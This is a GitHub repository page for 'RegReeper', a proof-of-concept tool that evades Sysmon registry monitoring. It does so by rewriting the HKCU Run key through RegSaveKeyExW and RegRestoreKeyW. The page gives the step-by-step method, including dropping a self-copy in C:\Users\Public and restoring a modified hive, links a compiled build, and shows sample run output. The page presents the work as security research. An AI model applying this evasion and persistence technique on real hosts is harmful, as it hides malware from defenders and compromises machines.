







main    [Code](#)

 <b>tccontre</b> Update README.md	8db0c37 · last year	 20 Commits
 RegReeper	Update RegReeper.cpp	last year
 images	Add files via upload	last year
 README.md	Update README.md	last year
 RegReeper.sln	Add files via upload	last year

 **README**

# RegReeper



## Reg Restore Evasion and Persistence

This short C code presents a Proof of Concept (POC) designed to achieve persistence and evade Sysmon event monitoring for registry actions such as key creation, update, and deletion, specifically targeting the REG\_NOTIFY\_CLASS Registry Callback in the Sysmon driver filter. To bypass monitoring, the POC leverages the RegSaveKeyExW() and RegRestoreKeyW() APIs, which are not included (as of writing) in sysmon monitoring or in REG\_NOTIFY\_CLASS type of registry callback of Sysmon driver filter.

By utilizing these APIs, the POC can create backups of registry keys using `RegSaveKeyExW()` and later restore them using `RegRestoreKeyW()`, effectively evading detection by Sysmon. It's essential to recognize that this POC serves only as a demonstration of a potential technique for achieving persistence and evading monitoring and should be used solely for educational or research purposes, refraining from any malicious intent or illegal activities.

## POC GOAL






modify the existing registry entry in  
HKCU\Software\Microsoft\Windows\CurrentVersion\Run using RegSave and  
Regstore API to gain persistence in targeted host.

notes: this poc needs an admin privileges to execute properly

## POC Use Case


## About

a short C code POC to gain persistence and evade sysmon event code registry (creation, update and deletion) REG\_NOTIFY\_CLASS Registry Callback of sysmon driver filter. RegSaveKeyExW() and RegRestoreKeyW() API which is not included in monitoring. This POC will use

-  [Readme](#)
-  [Activity](#)
-  [49 stars](#)
-  [3 watching](#)
-  [16 forks](#)

## Report repository

## Releases 1

-  **RegReeper.exe Release POC** Latest  
on Aug 23, 2023

## Packages

No packages published

## Languages



1. Adjust Token Privilege `SeBackupPrivilege` to be able to save `HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run` registry hive.
2. saved the registry hive to "save\_reg.hive"
3. Parse registry hive structure ( `save_reg.hive` ) to look for registry value key data string to be modify.
4. compute the length of the registry value key data string during parsing, then used that length to generate random file name.
5. dropped a copy of itself in `c:\users\public\{random_filename}.exe`
6. create a copy of `save_reg.hive` -> `mod_save_reg.hive`
7. modify the current registry value key data string of `HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run` with the file path of its file copy.
8. Adjust Token Privilege to `SeRestorePrivilege`
9. trigger RegRestore via `RegRestoreKeyW()` API.

## HOW

- clone the project and build it using Visual Studio (tested with VS 2019) or
- grab the compiled x64 PE file in released build (RegReeper.7z) password: infected

## POC Example

```
λ RegReeper.exe

  _____
 |  REGREEPER  |
 |  Reg Restore Evasion and Persistence  |
 |  <-- P.O.C. Coded by.| Br3akpoint - teoderick.contreras | -->  |
 |  _____  |
[+] [SUCCESS]:[TASK] [->] Token Privileges Adjusted: SeBackupPrivilege
[+] [SUCCESS]:[TASK] [->] Registry Hive Saved ..
[+] [SUCCESS]:[REGSAVE]
    [->] HKEY           : 80000001
    [->] SUBKEY        : Software\Microsoft\Windows\CurrentVersion\Run
    [->] SavedRegistryHiveFilePath: save_reg.hive
[+] [SUCCESS]:[TASK] [->] Registry Hive Copied ..

[+] [SUCCESS]:[REG-PARSING] [->] Parsing Registry Hive Structure..
[+] [-START-]:----->

[+] [SUCCESS]:[TASK] [->] REGF_HEADER Parsed..
[+] [SUCCESS]:[TASK] [->] HBIN_HEADER Parsed..
[+] [SUCCESS]:[TASK] [->] CELL_HEADER Parsed..
[+] [SUCCESS]:[TASK] [->] NAMEDKEY_HEADER RECORD FOUND
[+] [SUCCESS]:[TASK] [->] NAMEDKEY_RECORD Parsed..
[+] [SUCCESS]:[TASK] [->] Registry NamedKey String: Run
[+] [SUCCESS]:[TASK] [->] CELL_HEADER Parsed..
[+] [SUCCESS]:[TASK] [->] SUBKEY_RECORD Parsed..
[+] [SUCCESS]:[TASK] [->] CELL_HEADER Parsed..
[+] [SUCCESS]:[TASK] [->] VALUE_KEY_RECORD Parsed..
[+] [SUCCESS]:[TASK] [->] Registry Value Data String Parsed..
[+] [SUCCESS]:[REG-PARSING]
    [->] C:\Users\Public\hd0n0BGmYdkJKxFYkP74KBiVcxIy8e.exe
    [->] Value Data String Length      : 100
    [->] Copy Of Itself File path      : C:\Users\Public\m1lwio3aLtAoctHoos8vbK052ZKuvY.exe
    [->] Copy Of Itself File path Length: 50
[+] [SUCCESS]:[TASK] [->] Multi Bytes String to Wide String...
[+] [SUCCESS]:[TASK] [->] Dropped Copy of Itself..
[+] [SUCCESS]:[TASK] [->] Reg Hive Data was Modified...
[+] [SUCCESS]:[TASK] [->] Token Privileges Adjusted: SeRestorePrivilege
[+] [SUCCESS]:[TASK] [->] Modified Reg Hive Data Restored...
```